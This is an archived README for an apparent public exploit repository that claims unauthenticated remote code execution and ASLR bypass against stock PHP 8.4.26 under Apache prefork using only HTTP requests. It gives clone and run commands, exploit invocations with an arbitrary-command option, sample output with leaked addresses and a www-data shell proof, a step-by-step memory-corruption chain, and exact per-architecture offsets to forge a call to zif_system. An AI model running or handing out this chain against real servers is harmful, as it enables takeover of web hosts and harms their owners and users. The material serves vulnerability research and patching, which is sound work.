---
id: 10296
title: "php2shell: Pure HTTP Full-Chain RCE and ASLR Bypass on Stock PHP 8.4 Configurations"
cve: CVE-2026-109618
cvss: 9.8
severity: unknown
vendor: PHP
product: PHP
affected_versions: "8.4.26"
source_domain: github.com
source_url: "https://github.com/9bie/php2shell-bypass-aslr-exp"
published_at: "2026-10-22T10:36:16Z"
snapshot_at: "2026-10-26T03:06:00Z"
archived_by: "Phying News (https://phying.com/item/10296)"
lang: en
---

# php2shell - Stock Official Environment (No `display_errors`, Unmodified `memory_limit`)

*Author: [9bie](https://github.com/9bie) · October 22, 2026 · Source: [github.com/9bie/php2shell-bypass-aslr-exp](https://github.com/9bie/php2shell-bypass-aslr-exp)*

[中文](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/README.md) | [English](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/readme_en.md) | [日本語](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/readme_ja.md)

Under the **official prefork configuration (`MaxRequestWorkers=150`)**, fully remote, using pure HTTP only, where the target page contains only `<?php echo "OK\n"; ?>` and without writing any target-side PHP code, achieve full-chain RCE in a single command:

- Stock official Docker image + official `php.ini` + official workers: **10/10**
- Single-worker baseline (early calibration / debugging): **20/20**
- ~3–4 seconds per run (including 149 placeholder connections); the pinned worker does not restart, and the target `php.ini` is unmodified.

## Universal Exploitation

In theory, as long as you pre-calculate the offsets across all PHP versions and batch-fuzz using those offsets, one of the fuzzing attempts will land RCE. Even if a worker crashes, Apache will automatically respawn it, so there is no risk of taking down the target service.

Regarding workers: the official prefork `MaxRequestWorkers=150` is fully supported. The exploit script first occupies 149 workers with incomplete requests, pinning steps A1/B1/A2/B2 onto the single remaining child worker; single-worker mode was only an early debugging setup (`--workers 1` is still supported for reproduction).

## Quick Start (Official `php.ini-production` / `display_errors=Off` / `128M`)

```bash
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp

# 1) Start target: stock official image; container only copies official php.ini-production to php.ini
./pure/run_pure.sh
# target: OK
# architecture: x86_64 (run exploit with --arch x86_64)
# PHP 8.4.26 ...
# display_errors => Off => Off
# memory_limit => 128M => 128M
# workers: official (run exploit with --workers 150)

# 2) Single command: A1 -> B1 leak -> A2 -> B2 -> id
python3 exploit.py --port 18110
#       --arch auto (default): auto-detects x86_64 / aarch64
#       pinned 150/150 workers (149 holders)
# [try 1] A1: END-cleanup send_cookie OOM
# [try 1] B1: stale-id OOB read (chunk base + libphp)
#       arch=x86_64 decoded=819208 zval_ptr_dtor=0x7fe00ef5db60 -> libphp=0x7fe00e8ff000
#       chunk buckets: [('0x7fe00c600000', 7495), ('0x7fe00ee00000', 1095),
#                       ('0x7fe00cc00000', 87), ('0x7fe00c400000', 79)]
# [try 1] A2 + B2: main=0x7fe00cc00000 S=0x7fe00ccf8398 zif_system=0x7fe00ed64370
# [4/4] RCE OK; proof .../out/p1:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

No compiling PHP/Apache, no building custom Docker images, no attaching `gdb`, and no modifying the target `php.ini`.
`pure/run_pure.sh` defaults to container `p2s-pure-18110` on port `18110`, using the official prefork configuration (`MaxRequestWorkers=150`), and prints the actual architecture, `ini` settings, and MPM values upon startup. Only `--single` mounts the non-official single-worker override `pure/docker/apache-single-worker.conf` (used with `--workers 1`). `docker/apache.conf` is kept only as a compatibility symlink for the legacy harness pointing to the same file.
On Linux without `docker` group permissions, the script automatically falls back to `sudo docker`, or you can explicitly run `DOCKER="sudo docker" ./pure/run_pure.sh`; `--dbg` is only used to swap in the symbol-enabled build for offline offset calibration.

Common options:

```bash
# Re-test with fresh ASLR (restart container)
python3 exploit.py --port 18110 --restart p2s-pure-18110

# Official worker count is default; use --workers 1 for single-worker target started with --single
python3 exploit.py --port 18110 --workers 1

# ARM64 can also be specified explicitly (default --arch auto detects automatically)
python3 exploit.py --arch aarch64 --port 18110 --workers 1

# Custom command: write script into mounted directory and execute with sh
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py --port 18110 --cmd 'sh</out/c'
```

`--retries` defaults to 3; if the most frequent pointer in the out-of-bounds leak window on a given attempt is not `zval_ptr_dtor`, the script discards the leak using a sanity range check on `libphp-main` and retries the entire chain.

## How the Pure HTTP Chain Works

The target page only has `<?php echo "OK\n"; ?>`, and the attack traffic consists solely of chunked `multipart/form-data` and standard GET/POST requests:

0. **Worker pinning**: Official `MaxRequestWorkers=150`; the script first opens 149 POST connections that send only half of their body to occupy the other children, forcing A1/B1/A2/B2 onto the single remaining child worker so cross-request dangling pointers stay valid.
1. **Chunked bypass of `post_max_size`**: Without a `Content-Length` header, `content_length=0`, skipping the check at the beginning of `rfc1867_post_handler` and allowing a request body far larger than 8M for heap feng shui.
2. **A1**: 860 depth-64 nested file fields + filler + large values + a 4000B `PHP_SESSION_UPLOAD_PROGRESS` trigger OOM inside `php_url_encode` during END cleanup; the bailout leaves dangling `PS(id)` / `PS(mod_data)` pointers with `send_cookie=1`.
3. **B1 (Out-of-Bounds Read)**: After a safe close, `PS(id)` points to a forged `zend_string` header (`len=0xC8000`, `data` containing `/`), causing `Set-Cookie` to URL-encode and leak 800KB of memory following the `id` chunk. The leak window simultaneously contains:
   - 2MiB-aligned chunk pointer clusters → `id` chunk / `main` chunk base;
   - The hole left at the tail of the `id` chunk by `G:400` is filled with 900 nested array fields, where real `HashTable` instances have `pDestructor = zval_ptr_dtor` appearing 1095 times → `libphp = value - 0x65EB60`.
4. **A2 + B2**: A cheap-OOM points `PS(hash_serialize_verifier)` onto the heap (`main+0x7D720`); B2 overwrites it using a 384B reference value with a `zval` pointing to `S=main+0xF8398`, where `S` holds a forged `zend_array` with `pDestructor = zif_system` (`libphp+0x465370`). During request shutdown, `zend_hash_destroy` invokes `system("id>/out/p1")`.

Offsets (for this build, independent of ASLR):

| Symbol / Location | x86_64 | aarch64 |
|---|---|---|
| Leaked `zval_ptr_dtor` pointer | `libphp+0x65EB60` | `libphp+0x63812B` |
| `zif_system` | `libphp+0x465370` | `libphp+0x42CD70` |
| Fake array `S` | `main+0xF8398` | `main+0xF8398` |
| A2 `hsv` | `main+0x7D720` | `main+0x7D720` |

On `aarch64`, the `zval_ptr_dtor` ELF symbol is at `0x638120`, but the pointer repeatedly appearing in this leak points 11 bytes past it, so the profile subtracts `0x63812B`.
Target environment: Debian 13 (trixie), Apache 2.4.69 prefork, PHP 8.4.26 NTS `mod_php`, `files` session handler. Changing the PHP build or version requires re-calibrating offsets; ASLR changes on every container startup and is resolved dynamically by the two leaks in the chain.

## Evidence

- Mechanism & calibration: [`pure/RESEARCH_PURE_128M.md`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/RESEARCH_PURE_128M.md)
- Full-chain script: [`exploit.py`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/exploit.py) (`pure/pwn_pure.py` kept as an alias)
- Debug image batch log: [`pure/evidence/pwn_pure_batch_20261022.log`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/pwn_pure_batch_20261022.log)
- Official image log: [`pure/evidence/pwn_pure_official_20261022.log`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/pwn_pure_official_20261022.log)
- Official worker log: [`pure/evidence/official_workers_20261022.log`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/official_workers_20261022.log)
- Native ARM64 official image log (10/10 fresh containers): [`pure/evidence/arm64_stock_20261023.log`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/arm64_stock_20261023.log)
- Native ARM64 official worker log (3/3 fresh containers): [`pure/evidence/arm64_official_workers_20261023.log`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/arm64_official_workers_20261023.log)
- Proof output: [`pure/evidence/pwn_pure_proof_p1.txt`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/pure/evidence/pwn_pure_proof_p1.txt)

## Legacy Track (Non-Default Configuration)

The `exploit.py` in earlier commits targeted a **custom** `docker/php.ini` (`display_errors=On`, `memory_limit=8M`, `max_input_vars=1000`), which is unrelated to the stock production target in this README and has been archived to [`archive/legacy-8m/exploit.py`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/archive/legacy-8m/exploit.py).
[`HTTP_HEAP_LEAK.md`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/archive/legacy-8m/HTTP_HEAP_LEAK.md) and [`ASLR_PURE_HTTP.md`](https://github.com/9bie/php2shell-bypass-aslr-exp/blob/main/archive/legacy-8m/ASLR_PURE_HTTP.md) in the same directory document that legacy track; the old `docker/php.ini`, `docker/docker-compose.yml`, `docker/offsets.py`, and `lab/apache2_aslr.conf` have also been archived under `archive/legacy-8m/docker|lab/`.
The actual single-worker config and target page live in `pure/docker/` (`apache-single-worker.conf`, `www/index.php`); `docker/` only retains the `apache.conf` and `www` compatibility symlinks pointing there.

## Reproduction Disclaimer

- The target configuration is the stock official `php.ini-production` (`display_errors=Off`, `memory_limit=128M`) and official prefork worker settings (`MaxRequestWorkers=150`): no custom `ini`, no `display_errors=On` requirement, no target-side files, no `session_start()` in application code, and no `gdb` in the delivery path.
- For authorized vulnerability research and reproduction only.

---
> 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/10296) · Original source: [github.com](https://github.com/9bie/php2shell-bypass-aslr-exp)
